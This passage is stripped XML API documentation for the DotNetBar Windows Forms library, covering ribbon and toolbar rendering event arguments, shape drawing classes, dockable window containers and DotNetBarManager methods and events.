ColorItem if available for the color being previewed. This property can be null if there is no ColorItem connected with the color. + + + + + Creates new instance of the object. + + Color being previewed. + ColorItem connected with the color. + + + + Defines delegate for ColorPreview event. + + + + + Delegate for the CancelableEventSource event. + + + + + Represents event arguments that provide information on source of action and allow canceling of action. + + + + + Gets or sets whether event action will be canceled. + + + + + Initializes a new instance of the EventSourceArgs class. + + + + + + Initializes a new instance of the CancelableEventSourceArgs class. + + + + + + Provides data for the Navigation Pane rendering events. + + + + + Gets or sets Graphics object group is rendered on. + + + + + Gets or sets the rendering bounds. + + + + + Creates new instance of the objects and initializes it with default values. + + + + + Provides data for the ProgressBarItem rendering events. + + + + + Gets or sets Graphics object group is rendered on. + + + + + Gets or sets the reference to ProgressBarItem being rendered. + + + + + Indicates whether item is in Right-To-Left environment. + + + + + Gets or sets the text font. + + + + + Creates new instance of the object and provides default values. + + Reference to Graphics object + Reference to ProgressBarItem + Indicates the font for the text. + Indicates whether item is in Right-To-Left environment. + + + + Provides data for the Quick Access Toolbar Customize dialog events. + + + + + Gets or sets whether to cancel the current operation. When showing the dialog this allows to cancel the showing. When dialog is closed + it allows to cancel the changes made on customize dialog. + + + + + Gets or sets the reference to the form that is acting as dialog. You can set this value to your custom form to display it instead of + built-in dialog. + + + + + Creates new instance of the object and initializes it with default values. + + Reference to the dialog being used for customization. + + + + Provides data for the Quick Access Toolbar Customize Item rendering events. + + + + + Gets or sets the reference to the item being rendered. + + + + + Gets or sets the reference to graphics object. + + + + + Creates new instance of the object and initializes it with default values. + + Reference to the customize item being rendered. + Reference to the graphics object. + + + + Provides data for the Quick Access Toolbar Overflow item rendering events. + + + + + Gets or sets the reference to the item being rendered. + + + + + Gets or sets the reference to graphics object. + + + + + Creates new instance of the object and initializes it with default values. + + Reference to the overflow item being rendered. + Reference to the graphics object. + + + + Provides information for ribbon customization events. + + + + + Gets or sets whether the menu popup will be cancelled. Default value is false. + + + + + Gets or sets the reference to the object customize menu will be acting on. This could be an ButtonItem or any + BaseItem derived class as well as RibbonBar object. + + + + + Gets or sets the reference to the popup menu that will be displayed. You can change the members of SubItems collection to add/remove/change + the context menu items that will be displayed. + + + + + Creates new instance of the object and initializes it with default values. + + Reference to context object. + Reference to popup menu item if any. + + + + Provides data for the RenderMdiSystemitem event. + + + + + Gets or sets Graphics object group is rendered on. + + + + + Gets or sets the reference to MdiSystemItem being rendered. + + + + + Creates new instance of the class and initializes it with default values. + + Reference to graphics object. + Reference to MdiSystemItem being rendered. + + + + Represents events arguments for the Ribbon Control rendering events. + + + + + Gets or sets Graphics control is rendered on. + + + + + Gets the reference to RibbonControl instance being rendered. + + + + + Gets whether Windows Vista Glass is enabled. + + + + + Creates new instance and initializes it with the default values. + + Reference to Graphics object + Reference to RibbonControl + + + + Gets or sets whether the closing of the ribbon menu is canceled. + + + + + Gets or sets the source object that was cause of the menu closing. For example this could be reference to an item that was clicked. + Default value is null which indicates that there is no information about the object that caused closing available. + + + Following is the possible list of types that this property could be set to + and causes for closing: + + BaseItem - when an item is clicked the Source will be set to the instance + of the item that was clicked. + RibbonControl - when parent form RibbonControl is on loses the input + focus the Source will be set to the RibbonControl + RibbonTabItem - when tab menu is displayed and user clicks the same tab + to close the menu. The RibbonTabItem with EventSource=Code will be also set as + source when user double-clicks the tab to maximize the ribbon. + Any other type if RibbonControl.PopupRibbon method is called by your + code. + + + + + + Gets or sets the source of the event. + + + + + Creates new instance of the object. + + + + + Gets or sets the reference to graphics object. + + + + + Initializes a new instance of the SideBarPanelItemRendererEventArgs class. + + + + + + + Gets or sets the reference to graphics object. + + + + + Initializes a new instance of the SideBarRendererEventArgs class. + + + + + + + Provides data for the Slider item rendering events. + + + + + Gets or sets the reference to the item being rendered. + + + + + Gets or sets the reference to graphics object. + + + + + Creates new instance of the object and initializes it with default values. + + Reference to the Slider item being rendered. + Reference to the graphics object. + + + + Defines the abstract class for form caption painter. + + + + + Provides data for form caption rendering events. + + + + + Gets or sets the reference to graphics object. + + + + + Gets or sets the caption bounds. + + + + + Gets or sets the form caption is rendered for. + + + + + Creates new instance of the class. + + + + + Defines the Office 2007 style form caption painter. + + + + + Gets or sets color table used by renderer. + + + + + Represents an item that provides system buttons displayed on form caption. + + + + + Summary description for MDISystemItem. + + + + + Returns copy of CustomizeItem item + + + + + Returns the single button size. + + Size of the button. + + + + MDI System Item can render itself as either Simple icon with system drop down menu or set of + system buttons Minimize, Restore and Close. This item is rendered on the Bar that is designated as + Menu bar and when bar is used on MDI form and MDI Child form is maximized. + + + + + Gets the default size of the system buttons. + + + + + + Gets or sets the custom button size to use instead of system determined size. + + + + + Gets or sets whether Minimize button is visible. + + + + + Gets or sets whether Restore/Maximize button is visible. + + + + + Gets or sets whether Close button is visible. + + + + + Gets or sets whether help button is visible. + + + + + Gets or sets whether Icon is queried when item is painted. Default value is false. + + + + + Provides data for the RenderSystemCaptionItem event. + + + + + Gets or sets Graphics control is rendered on. + + + + + Gets reference to SystemCaptionItem being rendered. + + + + + Gets whether Windows Vista Glass is enabled. + + + + + Creates new instance of the class and initializes it with default values. + + Reference to Graphics object. + Reference to item being rendered. + Indicates whether Vista Glass effect is enabled. + + + + Represents the line drawn between start and end point. + + + + + Paints the shape on canvas. If overriden base implementation must be called to paint any child shapes. + + Shape paint information. + + + + Returns absolute location of the shape based on parent bounds. + + Parent absolute bounds. + Absolute location of the shape + + + + Returns absolute size of the shape based on the parent bounds. + + Absolute parent bounds. + Absolute size of the shape. + + + + Gets the absolute bounds of the shape. + + Parent bounds. + Absolute bounds of the shape. + + + + Gets the location of the shape. + + + + + Gets the size of the shape. + + + + + Gets the shape padding. Padding is the inside spacing between shape and it's child shapes. + + + + + Gets the collection of child shapes. + + + + + Gets or sets whether this shape will set the ShapePaintInfo.ChildContentClip property to the region that represents the inside content of the shape. + This is used when there is inside content of the shape which is not part of the shape itself and calling routine needs + access to the region that defines the shape inside bounds. + + + + + Gets the start point of the line. + + + + + Gets the end point of the line. + + + + + Gets the line border. + + + + + Describes the shape location. + + + + + Gets or sets the X location of the shape relative to it's parent. + + + + + Gets or sets the Y location of the shape relative to it's parent. + + + + + Gets or sets the relative X position. + + + + + Gets or sets the relative Y position. + + + + + Describes the relative location. + + + + + Describes the padding for the shape. Padding is the space inside the shape and between it's child shapes. + + + + + Creates new instance of the class. + + + + + Creates new instance of the class and initializes it with default values. + + + + + Gets or sets the left padding in pixels. + + + + + Gets or sets the right padding in pixels. + + + + + Gets or sets the top padding in pixels. + + + + + Gets or sets the bottom padding in pixels. + + + + + Gets the total horizontal padding. + + + + + Gets the total vertical padding. + + + + + Paints the border. + + + + + Paints the border. + + + + + Gets or sets the rounded corner size. + + + + + Gets the shape border. + + + + + Gets the shape fill. + + + + + Defines the shape border. + + + + + Gets or sets the border width in pixels. + + + + + Gets or sets the border color. + + + + + Gets or sets the ending gradient border color. + + + + + Gets or sets the gradient angle. Default value is 90. + + + + Creates new instance of the class. + + + + Adds new object to the collection. + + Object to add. + Index of newly added object. + + + + Inserts new object into the collection. + + Position of the object. + Object to insert. + + + + Returns index of the object inside of the collection. + + Reference to the object. + Index of the object. + + + + Returns whether collection contains specified object. + + Object to look for. + true if object is part of the collection, otherwise false. + + + + Removes specified object from the collection. + + + + + + Copies collection into the specified array. + + Array to copy collection to. + Starting index. + + + + Copies contained items to the Shape array. + + Array to copy to. + + + + Returns reference to the object in collection based on it's index. + + + + + Gets or sets the starting fill color. + + + + + Gets or sets the end fill color. + + + + + Gets or sets the gradient angle. + + + + + Gets or sets the background color collection blend. + + + + + Gets or sets the fill gradient type. + + + + + Paints the border. + + + + + Paints the border. + + + + + Gets the shape border. + + + + + Gets the shape fill. + + + + + Describes shape size. + + + + + Gets or sets the width of the shape. When RelativeWidth is specified then number specifed here is added to the actual shape width. + + + + + Gets or sets the height of the shape. When RelativeHeight is specified the number specified here is added to the actual shape height. + + + + + Gets or sets the relative shape width. + + + + + Gets or sets the relative shape height. + + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Represents the class used to create Color objects. + + + + + Creates new instance of the object. + + + + + Represents the class used to create Color objects blended based on base color. + + + + + Creates new instance of the object. + + + + + Converts integer color representation to Color type. + + Color representation as 32-bit RGB value. + Reference to Color object. + + + + Converts integer color representation to Color type. + + Color representation as 32-bit RGB value. + Reference to Color object. + + + + Converts integer color representation to Color type. + + Color value. + Reference to Color object. + + + + Converts color representation to alpha Color type. + + Color value. + Reference to Color object. + + + + Converts integer color representation to Color type. + + Color value. + Reference to Color object. + + + + Defines the names for the ElementStyle.Class style classes. + + + + + Gets the key for the GalleryContainer background style class. + + + + + Gets the key for the Ribbon File menu outer container background style class. + + + + + Gets the key for the Ribbon File menu two column container background style class. + + + + + Gets the key for the Ribbon File menu first column container background style class. + + + + + Gets the key for the Ribbon File menu second column container background style class. + + + + + Gets the key for the Ribbon File menu bottom container background style class. + + + + + Gets the key for the text box border style class. + + + + + Gets the key for the RichTextBox control border style class. + + + + + Gets the key for the ItemPanel style class. + + + + + Gets the key for the ListBoxAdv style class. + + + + + Gets the key for the date time input background style class. + + + + + Gets the style key for the Ribbon client panel. + + + + + Gets the style key for the ListView control border style. + + + + + Gets the style key for the Office2007 Status Bar alternative background. + + + + + Gets the style key for the AdvTree control border and background. + + + + + Gets the style key for the AdvTree control columns header. + + + + + Gets the style key for the AdvTree control columns header for the child nodes. + + + + + Gets the style key for the AdvTree control column. + + + + + Gets the style key for the CrumbBar background style. + + + + + Gets the key for the DataGridView border style class. + + + + + Gets the key for the DataGridViewNumeric border style class. + + + + + Gets the key for the DataGridViewDateTime border style class. + + + + + Gets the key for the DataGridViewIpAddress border style class. + + + + + Gets the key for SlidePanel slide-out button style. + + + + + Gets the key for the MetroTilePanel style class. + + + + + Gets the key for Metro tile group container title class. + + + + + Gets the style key for the MonthCalendarAdv control. + + + + + Gets the style key for the ProgressSteps control. + + + + + Gets the style key for the SideNavStrip control. + + + + + Gets the style key for the TabFormPanel control. + + + + + Represents a static class that maintains the global rendering properties for all controls when eRenderMode is set to global. + + + + + Gets or sets the global renderer used by all controls that have RenderMode set to eRenderMode.Global. + + + + + Represents complex gradient color table. + + + + + Creates new instance of the object. + + + + + Creates new instance of the object and initializes it with default values. + + Start color + End color + + + + Creates new instance of the object and initializes it with default values. + + Start color + End color + + + + Creates new instance of the object and initializes it with default values. + + Start color + End color + + + + Creates new instance of the object and initializes it with default values. + + Start color + End color + Linear gradient angle + + + + Creates new instance of the object and initializes it with default values. + + Start color + End color + Linear gradient angle + + + + Gets or sets the color collection blend that describes the gradient. + + + + + Gets or sets the gradient type. + + + + + Gets or sets the linear gradient angle. + + + + + Creates a copy of table. + + A copy. + + + + Represents the color table of linear gradient. + + + + + Creates new instance of the object. + + + + + Creates new instance of the object. + + Start color. + + + + Creates new instance of the object. + + Start color. + End color. + + + + Creates new instance of the object. + + Start color in hexadecimal representation like FFFFFF. + End color in hexadecimal representation like FFFFFF. + + + + Creates new instance of the object. + + Start color in 32-bit RGB representation. + + + + Creates new instance of the object. + + Start color in 32-bit RGB representation. + End color in 32-bit RGB representation. + + + + Creates new instance of the object. + + Start color in 32-bit RGB representation. + End color in 32-bit RGB representation. + Gradient angle. + + + + Creates new instance of the object. + + Start color. + End color. + Gradient angle. + + + + Gets or sets the start color. + + + + + Gets or sets the end color. + + + + + Gets or sets the gradient angle. Default value is 90. + + + + + Gets whether both colors assigned are empty. + + + + + Item container for dockable windows. + + + + + Creates new instance of ControlContainerItem and assigns item name. + + + + + Creates new instance of ControlContainerItem and assigns item name. + + Item name. + + + + Creates new instance of ControlContainerItem and assigns item name and item text. + + Item name. + Item text. + + + + Overriden. Returns the copy of the ControlContainerItem. + + Copy of the ControlContainerItem. + + + + Overriden. Draws the item. + + Target Graphics object. + + + + Overriden. Recalculates the size of the item. + + + + + Returns the Font object to be used for drawing the item text. + + Font object. + + + + Occurs after an item has been removed. + + Item being removed. + + + + Occurs after text has changed. + + + + + Occurs after item visual style has changed. + + + + + Occurs when container control needs to be assigned to the item. + + + + + Gets or sets the reference to the contained control. + + + + + Returns category for this item. If item cannot be customzied using the + customize dialog category is empty string. + + + + + Gets or sets whether Click event will be auto repeated when mouse button is kept pressed over the item. + + + + + Gets or sets the auto-repeat interval for the click event when mouse button is kept pressed over the item. + + + + + Gets or sets item description. This description is displayed in + Customize dialog to describe the item function in an application. + + + + + Gets or sets item alignment inside the container. + + + + + Gets or sets the collection of shortcut keys associated with the item. + + + + + Gets or sets whether item will display sub items. + + + + + Gets or sets a value indicating whether the item is visible. + + + + + Specifies the Tab image. Image specified here is used only on Tab when there are multiple dock containers on Bar. + + + + + Specifies the index of the Tab image if ImageList is used. Image specified here is used only on Tab when there are multiple dock containers on Bar. + + + + + Specifies the Button icon. Icons support multiple image sizes and alpha blending. + + + + + Gets or sets the predefined tab color. Default value is eTabItemColor.Default which means that default color is used. + + + + + Gets or sets whether tab that dock container item is on is selected. + + + + + Gets or sets the width of the item in pixels. + + + + + Gets or sets the height of the item in pixels. + + + + + Gets or sets the minimum size of the item. When used please note that layout logic for dockable windows expects that + all DockContainerItems that are in particular docking side have exact same minimum size. When setting this property it is + best to set the same value for all DockContainerItem instances you create. + + + + + Gets or sets the default floating size of the Bar that is containing this item. + + + + + Gets or sets the minimum size of the form client area that is tried to maintain when dockable window is resized. + + + + + Gets or sets whether the item expands automatically to fill out the remaining space inside the container. Applies to Items on stretchable, no-wrap Bars only. + + + + + Gets or sets whether item can be customized by end user. + + + + + Returns whether item is in design mode or not. + + + + + Gets or sets whether item is global or not. + This flag is used to propagate property changes to all items with the same name. + Setting for example Visible property on the item that has GlobalItem set to true will + set visible property to the same value on all items with the same name. + + + + + Gets or sets the close button behavior on the host Bar. Default value is eDockContainerClose.Inherit which means that Bar.CanHide will control whether DockContainerItem can be closed. + + + + + Specifies the behavior of the close button on host bar for the DockContainerItem. + + + + + Closing of the bar is inherited from the host bar. Bar.CanHide property will control close button visibility. + + + + + Closing of the DockContainerItem is allowed. + + + + + Closing of DockContainerItem is not allowed. + + + + + Summary description for DockingHint. + + + + + Required designer variable. + + + + + Clean up any resources being used. + + + + + Update control region based on hint side + + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Represent the docking information for an control. + + + + + Control dock side. + + + + + Control dock site. + + + + + Docking offset. + + + + + Docking line. + + + + + Docked control width. + + + + + Docked control height. + + + + + Control position. + + + + + Indicates whether to use outline or not + + + + + Indicates that dock site should change it's Z-Order so it maximizes the space it consumes as related to other dock sites. + + + + + Indicates that dock site should change it's Z-Order so it reduces the amount of space it consumes as related to other dock sites. + + + + + When either FullSizeDock or PartialSizeDock is set it indicates the new dock site Z-Order index. + + + + + Returns the bar that mouse is placed over. + + + + + Returns dock side the mouse is indicating user wants to dock bar at. + + + + + Gets the last relative docked to bar. + + + + + Gets the last relative docked to document id. + + + + + Returns side of last docked-to dock site. + + + + + Dock Sites are created by DotNetBar control on each edge of the + DotNetBar container control and are used for docking purposes. + If Dock Site does not contain any controls it will be invisible. + + + + + Creates new instance of DockSite object with specified dock style. + + Specifies the position and manner in which a site is docked. + + + + Creates new instance of DockSite object. + + + + + Returns reference to the DocumentDockUIManager object used for interaction with document docking engine. + + Reference to the DocumentDockUIManager object. + + + + Saves layout for bars contained by dock site. + + Parent XmlElement. + + + + Loads layout for the bars. + + Parent XmlElement that was passed to SaveLayout method to save layout + + + + Suspends normal layout logic. + + + + + Resumes normal layout logic. + + + + + Resumes normal layout logic. Optionally forces an immediate layout of pending layout requests. + + + + + Docks the bar to the dock site. + + Bar to dock. + + + + Dockes the Bar to dock site at specified position. + + Bar to dock. + Bar insert position. + + + + Relayouts all docked controls in the site. + + + + + Returns the docking information for current position. + + Controls docking provider. + Horizontal assumed docking position. + Vertical assumed docking position. + Docking information. + + + + + Undocks the control from the site. + + Control to undock. + + + + Gets or sets whether painting is disabled on dock site while layout of bars is performed. Default value is true. + You might need to set this property to false if you are expirience vide flashing while using DirectX video animation in Bar controls that are part of the + dock site. + + + + + Specifies background image position when container is larger than image. + + + + + Specifies the transparency of background image. + + + + + Gets or sets the target gradient background color. + + + + + Gets or sets gradient fill angle. + + + + + Specifies the position and manner in which a site is docked. + + + + + Gets the reference to the DotNetBarManager that uses this dock site. + + + + + Represents class that is a bar container for document docking. + + + + + Represents Document container base class. + + + + + Creates new instance of the class. + + + + + Resizes the document within specified bounds. + + Area available for the document. + + + + Sets the display bounds. + + New display bounds. + + + + Sets layout bounds. + + New layout bounds. + + + + Resets the layout bounds for the document base container to the empty bounds. + + + + + Resets the layout bounds for the document base container to the empty bounds. + + + + + Sets the parent document. + + Parent container. + + + + Sets the width of the document. + + Width in pixels + + + + Sets the height of the document. + + Height in pixels. + + + + Occurs when width is being set on child document. + + Reference document being changed + Width in pixels + True if width was applied by parent otherwise false + + + + Occurs when height is being set on child document. + + Reference document being changed + Height in pixels + True if width was applied by parent otherwise false + + + + Updates bounds of the item in response to the scrolling of LayoutControl. + + + + + + + Gets the unique ID for the container. + + + + + Returns actual display bounds of the document. + + + + + Returns layout bounds of the document. Layout bounds are proposed bounds of the layout and might not be the same + as DisplayBounds. + + + + + Gets the parent container. + + + + + Gets whether document is visible or not. + + + + + Gets minimum size of the document. + + + + + Creates new instance of the class. + + + + + Creates new instance of the class and initializes it with the Bar object. + + Bar to contain on document. + + + + Creates new instance of the class and initializes it with the bar and propesed width and height. + + Bar to contain on document. + Proposed width of the document in pixels + Proposed height of the document in pixels + + + + Resizes document object. + + Available bounds for the document. + + + + Gets or sets the bar that is contained by this document. + + + + + Gets whether document is visible. + + + + + Gets the minimum size of the document. + + + + + Represents DocumentBarContainer converter. + + + + + Creates new instance of the class. + + + + + Checks whether conversion can be made to specified type. + + Context Information. + Destination type. + + + + + Converts object to specified type. + + Context information. + Culture information. + Object to convert. + Destination type. + Object converted to destination type. + + + + Collection of DocumentBaseContainer objects. + + + + + Adds new object to the collection. + + Object to add. + Index of newly added object. + + + + Adds new objects to the collection. + + Array of documents to add. + + + + Inserts new object into the collection. + + Position of the object. + Object to insert. + + + + Returns index of the object inside of the collection. + + Reference to the object. + Index of the object. + + + + Returns whether collection contains specified object. + + Object to look for. + true if object is part of the collection, otherwise false. + + + + Removes specified object from the collection. + + + + + + Copies collection into the specified array. + + Array to copy collection to. + Starting index. + + + + Copies contained items to the DocumentBaseContainer array. + + Array to copy to. + + + + Returns reference to the object in collection based on it's index. + + + + + Represents Dock container with either horizontal or vertical layout. + + + + + Creates new instance of the object and initializes it with specified values. + + Array of documents to host in this container. + Container orientation + + + + Creates new instance of the object. + + + + + Resizes the object inside of the given bounds. + + Available area. + + + + Occurs when width is being set on child document. + + Reference document being changed + Width in pixels + True if width was applied by parent otherwise false + + + + Occurs when height is being set on child document. + + Reference document being changed + Height in pixels + True if width was applied by parent otherwise false + + + + Returns the DocumentBarContainer object for a given bar. + + Bar to search for. + Reference to container or null if bar could not be found + + + + Gets whether document is visible or not. + + + + + Gets the orientation of the container. Default value is Horizontal. + + + + + Returns collection of the documents hosted by this container. + + + + + Returns minimum size of the object. + + + + + Gets or sets splitter size in pixels between the documents docking inside the container. Default value is 3. + + + + + Gets or sets whether the size of the documents is recorded once the layout is calculated. + + + + + Indicates whether the container is allowed to exceed the parent control client size due to inner child windows minimum size constraints. + + + + + Represents DocumentDockContainer object converter. + + + + + Represents class that manages document docking UI interaction. + + + + + + Returns DocumentBaseContainer that holds the reference bar. + + Bar to return document container for. + Returns null if document container cannot be found or reference to the document container. + + + + Docks specified bar by appending it to the container. Bar will be added according to the container's orientation. + + Bar to dock. + + + + Docks specified bar by appending it to the container. Bar will be added according to the container's orientation. + + Bar to dock. + Side to dock bar at. + + + + Adjusts the size of the dock container if needed after a bar has been docked to it. + + Bar object that has been docked. + Indicates that bar was already docked but its Visible property has changed + + + + Processes OnMouseMove events from DockSite. This routine assumes that mouse messages are received only when mouse is actually over + the dock site and not containing bars. This is significant because it will receive messages only if mouse is over the splitter + space between bars. + + Mouse event arguments. + + + + Returns reference to the DocumentDockContainer that contains specified coordinates. Searches through the Documents collection first. + + X coordinate + Y coordinate + + + + + Sets the width of the bar that is managed by this document layout. Width can be set only if parent container has + Horizontal orientation. Note that bar minimum size is respected by this method and + it will be enforced. If width is less than minimum width bar's width will be set to minimum width. + + Reference to bar object. + Desired width. + + + + Sets the height of the bar that is managed by this document layout. Height can be set only if parent container has + vertical orientation. Note that bar minimum size is respected by this method and + it will be enforced. If height is less than minimum height bar's height will be set to minimum height. + + Reference to bar object. + Desired height. + + + + Gets or sets the root document dock container object. + + + + + Gets or sets the splitter width used for mouse hit-testing. + + + + + Gets or sets the container of the document. + + + + + Gets whether document/bar is being resized. + + + + + Represent the menu, toolbar and popup menu structure for the form. + + + + + Raises BarStateChanged event. + + Provides event arguments. + + + + Creates new instance of DotNetBarManager. + + + + + Creates new instance of DotNetBarManager. + + Container. + + + + Dock bar to the specified side of the form. + + Bar to dock. + Side to dock bar to. + + + + Docks the bar to the specified side of the reference bar. + + Bar to dock. + Reference bar. + Side of the reference bar to dock the bar to. + + + + Docks specified DockContainerItem. + + DockContainerItem to dock. + Side to dock item to. + + + + Docks specified DockContainerItem. + + DockContainerItem to dock. + Reference bar. + Side to dock item to. + + + + Docks specified DockContainerItem. + + DockContainerItem to dock. + Reference bar. + Side to dock item to. + + + + Tear-off specified DockContainerItem and float it. + + Item to float. + + + + Tear-off specified DockContainerItem and float it. + + Item to float. + + + + Make specified bar floating bar, i.e. undock it and place in floating window. + + Bar to float. + + + + Make specified bar floating bar, i.e. undock it and place in floating window and specified location on the screen. + + Bar to float. + Screen coordinates for the floating bar. + + + + Raises the ActiveDockContainerChanged event. + + Provides event arguments. + + + + Invokes ItemDoubleClick event. + + Reference to item double-clicked + Event arguments + + + + Returns the Bar object that contains the item. + + + + + Clean up any resources being used. + + + + + Returns whether property should be serialized by Windows Forms designer. + + + + + Use to remove bar from DotNetBar control. Bar will be undocked if it is docked and + removed from all internal collections. + + Bar to remove. + + + + Forces the loading of the definition specified in DefinitionName property. + By default definition is loaded after parent form handle has been created and form is loaded. + However, under certain circumstances you might need DotNetBar to load definition right away so + you can access bars and items. We recommend moving the code to Form Load event and leaving the loading process for DotNetBar definition as is. + + + + + Loads DotNetBar definition from file. + + File that contains DotNetBar defintion. + + + + Invokes SerializeItem event. + + Provides data for the event. + + + + Invokes DeserializeItem event. + + Provides data for the event. + + + + Saves current DotNetBar definition and state to the file. + + File name. + + + + Loads DotNetBar layout from file. + + File that contains DotNetBar defintion. + + + + Saves current DotNetBar layout to the file. + + File name. + + + + Invokes the DotNetBar Customize dialog. + + + + + Returns the collection of items with the specified name. + + Item name to look for. + + + + + Returns the collection of items with the specified name. This method search for items on all Bars, Items collection and ContextMenus collection. + The order of search is as follows. All Bars from Bars collections are searched, then Items collection and then ContextMenus collection. + + Item name to look for. + Specifies that search will be performed through all DotNetBar collections. + + + + + Returns the collection of items with the specified name and type. + + Item name to look for. + Item type to look for. + + + + + Returns the collection of items with the specified name and type. This method will searchs for items on all Bars, Items collection and ContextMenus collection. + The order of search is as follows. All Bars from Bars collections are searced, then Items collection and then ContextMenus collection. + + Item name to look for. + Item type to look for. + Specifies that full search (through all collections) will be performed. + + + + + Returns the collection of items with the specified name and type. This method will searchs for items on all Bars, Items collection and ContextMenus collection. + The order of search is as follows. All Bars from Bars collections are searced, then Items collection and then ContextMenus collection. + + Item name to look for. + Item type to look for. + Specifies that full search (through all collections) will be performed. + + + + + Returns the first item that matches specified name. + + Item name to look for. + + + + + Returns the first item that matches specified name with the option to indicate full search of all collections. + The order of search is as follows. All Bars from Bars collections are searced, then Items collection and then ContextMenus collection. + + Item name to look for. + Specifies that all collection will be searched. + + + + + Called before modal dialog is displayed using ShowModal() method. + + + + + Called after modal dialog is closed. + + + + + You must call this procedure if you are implementing custom customize dialog box after your dialog box is closed. + + + + + Registers popup item with DotNetBar. Use this function carefully. The registration is required only if Popup item is created completely from code and it is not added to any DotNetBarManager collection. + + + + + + Un-registers specified popup. See RegisterPopup for more information. + + + + + + Resets the ColorScheme property to its default value. + + + + + Informs the DotNetBarManager that Mdi Child for has been activated. Calling this method is needed only under special + conditions where MDI child system items do not show. + + + + + Resets all usage data collected by DotNetBar in relation to the Personalized menus. + + + + + Occurs after bar registered with DotNetBarManager state has changed, like selected dock tab has changed, bar has closed, bar has been docked or undocked etc. + + + + + Occurs when focused (active) DockContainerItem has changed. You can use ActiveDockContainerItem property to get reference to currently focused DockContainerItem. + + + + + Occurs just before customize popup menu is shown. + + + + + Occurs when Item is clicked. + + + + + Occurs when Item is clicked. + + + + + Occurs when popup of type container is loading. + + + + + Occurs when popup of type container is unloading. + + + + + Occurs when popup item is about to open. + + + + + Occurs when popup item is closing. + + + + + Occurs just before popup window is shown. + + + + + Occurs when Item Expanded property has changed. + + + + + Occurs when Bar is docked. + + + + + Occurs when Bar is Undocked. + + + + + Occurs before dock tab is displayed. + + + + + Occurs when Bar auto-hide state has changed. + + + + + Occurs when mouse button is pressed. + + + + + Occurs when mouse button is released. + + + + + Occurs when mouse enters the item. + + + + + Occurs when mouse leaves the item. + + + + + Occurs when mouse moves over the item. + + + + + Occurs when mouse remains still inside an item for an amount of time. + + + + + Occurs when item loses input focus. + + + + + Occurs when item receives input focus. + + + + + Occurs when user changes the item position, removes the item, adds new item or creates new bar. + + + + + Occurs after DotNetBar definition is loaded. + + + + + Occurs when users wants to reset the DotNetBar to default state. + + + + + Occurs after an Item is removed from SubItemsCollection. + + + + + Occurs after an Item has been added to the SubItemsCollection. + + + + + Occurs when ControlContainerControl is created and contained control is needed. + + + + + Occurs when Text property of an Item has changed. + + + + + Occurs when Customize Dialog is about to be shown. + + + + + Occurs when Customize Dialog is closed. + + + + + Use this event if you want to serialize the hosted control state directly into the DotNetBar definition file. + + + + + Use this event if you want to deserialize the hosted control state directly from the DotNetBar definition file. + + + + + Occurs when current Dock tab has changed. + + + + + Occurs when Bar is about to be closed as a result of user clicking the Close button on the bar. + + + + + Occurs when Bar in auto-hide state is about to be displayed. + + + + + Occurs when user starts to drag the item when customize dialog is open. + + + + + Occurs when users Tears-off the Tab from the Bar and new Bar is created as result of that action. + + + + + Occurs when DotNetBar is looking for translated text for one of the internal text that are + displayed on menus, toolbars and customize forms. You need to set Handled=true if you want + your custom text to be used instead of the built-in system value. + + + + + Occurs before an item in option group is checked and provides opportunity to cancel the change. + + + + + Occurs before tooltip for an item is shown. Sender could be the BaseItem or derived class for which tooltip is being displayed or it could be a ToolTip object itself it tooltip is not displayed for any item in particular. + + + + + Occurs on dockable bars when end-user attempts to close the individual DockContainerItem objects using system buttons on dock tab. + Event can be canceled by setting the Cancel property of event arguments to true. This even will occur only after user presses the + X button on tab that is displaying the dockable windows/documents. + + + + + Occurs on dockable bars after DockContainerItem is closed. This action cannot be cancelled. + + + + + Occurs after an item has been serialized to XmlElement and provides you with opportunity to add any custom data + to serialized XML. This allows you to serialize any data with the item and load it back up in DeserializeItem event. + + + To serialize custom data to XML definition control creates handle this event and use CustomXmlElement + property on SerializeItemEventArgs to add new nodes or set attributes with custom data you want saved. + + + + + Occurs after an item has been de-serialized (load) from XmlElement and provides you with opportunity to load any custom data + you have serialized during SerializeItem event. + + + To de-serialize custom data from XML definition handle this event and use CustomXmlElement + property on SerializeItemEventArgs to retrive any data you saved in SerializeItem event. + + + + + Occurs when TextBoxItem input text has changed. + + + + + Occurs when color on ColorPickerDropDown is choosen from drop-down color picker or from Custom Colors dialog box. Selected color can be accessed through SelectedColor property. + + + + + Occurs when Checked property of an button has changed. + + + + + Gets or sets docking splitter size. + + + + + Indicates whether Ctrl+Tab keys cycles the currently selected dock tab. + + + + + Gets or sets the Context menu bar associated with the this control which is used as part of Global Items feature. The context menu + bar assigned here will be used to search for the items with the same Name or GlobalName property so global properties can be propagated when changed. + You should assign this property to enable the Global Items feature to reach your ContextMenuBar. + + + + + Gets or sets the form DotNetBarManager is attached to. + + + + + Gets or sets the user control DotNetBarManager is parented to when on user control and providing popups only. + + + + + Gets currently focused (active) DockContainerItem. Note that only if DockContainer Item has input focus it will be consider active + so there can only be one active DockContainerItem at a time. + + + + + Gets whether component has been disposed. + + + + + Disposed will return true after Dispose method has been executed. + + + + + Gets or sets whether GC.Collect() is called when this component is disposed. + + + + + Gets or sets the minimum client size that docking windows will try to maintain for the client area (not occupied by dock windows). + Note that this value is suggested value and cannot be observed when form is resized below the minimum size required for the given layout. + Default value is 48x48 pixels. + + + + + Indicates whether DotNetBar provides docking hints for easy docking of bars. + + + + + Gets or sets whether user can control how first bar is docked when using docking hints (default value is True). When enabled (default value) placing the mouse over the middle + docking hint will dock the bar at partial size and using the far docking hint will dock bar at full size. Full size indicates that dock site which hosts the bar + consumes all the space of the parent form while partial size indicates that dock site consumes the full size minus the space of the other dock sites. Default value is true. + + + + + Gets or sets whether uniform styling is applied to bars docked as documents. Default value is true which means + that bar that will be docked as document will have it's style changed so it fits in default document styling. + Such bars will have GrabHandleStyle=None, DockTabAlignment=Top and AlwaysDisplayDockTab=true. + Set this property to false to have bars keep these properties once they are docked as documents. + Value of these properties will be returned back to the default values once bar is not docked as document. + + + + + Gets the collection of the Bar objects associated with DotNetBarManager. + + + + + Gets whether definition is loaded. + + + + + Gets the collection of all items that are used for end-user design-time customization. + + + + + Gets the collection of all popup menus managed by DotNetBarManager. + + + + + Indicates whether shortucts handled by items are dispatched to the next handler or control. + + + + + Gets or sets the collection of shortcut keys that are automatically dispatched to the control that has focus even if they are handled and used by one of the items. This gives you fine control over which shortcuts are passed through the system and which ones are marked as handled by 